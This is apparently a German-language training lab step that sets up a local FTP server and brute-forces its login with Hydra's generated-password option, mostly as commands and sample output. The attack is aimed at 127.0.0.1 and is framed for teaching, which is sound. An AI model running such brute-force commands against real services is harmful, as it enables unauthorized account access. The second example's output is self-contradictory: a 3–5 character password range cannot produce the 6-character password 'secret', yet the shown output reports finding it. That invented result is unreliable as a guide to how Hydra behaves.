Angriff auf FTP mit generierten Passwörtern
In diesem Schritt verwenden Sie die Passwortgenerierungsfunktionen von Hydra, um einen Dummy-FTP-Server anzugreifen. Sie verwenden eine "on-the-fly" generierte Passwortliste mit der Option -x
.
Zuerst müssen Sie einen einfachen FTP-Server für Tests einrichten. Sie verwenden python3-pyftpdlib
, eine leichte FTP-Server-Bibliothek für Python.
Installieren Sie python3-pyftpdlib
, falls es noch nicht installiert ist:
sudo apt update
sudo apt install -y python3-pyftpdlib
Starten Sie den FTP-Server im Hintergrund auf Port 2121 und bedienen Sie Dateien aus dem Verzeichnis ~/project
. Die Option -w
erlaubt Schreibzugriff.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
Der Teil nohup ... &
führt den Befehl im Hintergrund aus und verhindert, dass er stoppt, wenn Sie das Terminal schließen. > /dev/null 2>&1
leitet die Standardausgabe und die Standardfehlermeldung an /dev/null
weiter, wodurch Ihr Terminal sauber bleibt. Die Optionen -u testuser -P secret
richten einen Benutzer mit dem Passwort "secret" ein, der auf den Server zugreifen kann.
Jetzt verwenden Sie Hydra, um diesen FTP-Server anzugreifen. Sie verwenden die Option -x
, um Passwörter zu generieren und versuchen, sich als Benutzer "testuser" anzumelden.
Führen Sie den folgenden Befehl im Terminal aus:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Lassen Sie uns diesen Befehl aufschlüsseln:
hydra
: Das Hydra-Befehlszeilentool.
-l testuser
: Gibt den zu verwendenden Benutzernamen "testuser" an.
-vV
: Aktiviert eine ausführliche Ausgabe, die jeden Anmeldeversuch anzeigt.
-x 4:6:a-z
: Dies teilt Hydra mit, Passwörter mit folgenden Kriterien zu generieren:
4
: Minimale Länge von 4 Zeichen.
6
: Maximale Länge von 6 Zeichen.
a-z
: Verwenden Sie nur Kleinbuchstaben (a-z).
127.0.0.1
: Der Zielhost (localhost). Sie verwenden 127.0.0.1
anstelle von localhost
, um potenzielle DNS-Auflösungsprobleme innerhalb des Containers zu vermeiden.
ftp
: Der zu angreifende Dienst (FTP).
-s 2121
: Gibt die Portnummer an. Sie zielen auf den FTP-Server ab, der auf Port 2121 läuft.
Sie sollten sehen, wie Hydra mit generierten Passwörtern Anmeldeversuche vornimmt. Da der FTP-Server mit bestimmten Anmeldeinformationen (Benutzername: testuser, Passwort: secret) konfiguriert ist, findet Hydra das richtige Passwort, wenn es während seiner Brute-Force-Versuche "secret" generiert.
Wichtig: Verwenden Sie Strg+C
, um den Angriff zu stoppen, da er lange dauern kann.
Die Ausgabe zeigt die Anmeldeversuche und schließlich eine erfolgreiche Anmeldemeldung an.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[VERSUCH] Ziel 127.0.0.1:2121 Dienst ftp auf Gerät eth0 - Login testuser Passwort aaaa
[VERSUCH] Ziel 127.0.0.1:2121 Dienst ftp auf Gerät eth0 - Login testuser Passwort aaab
...
[2121][ftp] Host: 127.0.0.1 Login: testuser Passwort: secret
Probieren wir nun ein etwas komplexeres Beispiel, indem wir Kleinbuchstaben und Ziffern kombinieren:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
Dies generiert Passwörter wie "aaa", "aab", "aac" usw. und geht systematisch zuerst alle 3-Zeichen-Kombinationen durch, dann die 4-Zeichen-Kombinationen und schließlich die 5-Zeichen-Kombinationen. Beobachten Sie die Ausgabe, um die generierten Passwörter und die erfolgreiche Anmeldung zu sehen.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[VERSUCH] Ziel 127.0.0.1:2121 Dienst ftp auf Gerät eth0 - Login testuser Passwort aaa
[VERSUCH] Ziel 127.0.0.1:2121 Dienst ftp auf Gerät eth0 - Login testuser Passwort aab
...
[2121][ftp] Host: 127.0.0.1 Login: testuser Passwort: secret
Dieser Schritt demonstrierte die Verwendung von Hydra mit der Option -x
, um Passwörter zu generieren und einen FTP-Server anzugreifen. Denken Sie daran, diese Techniken verantwortungsvoll und ethisch einzusetzen.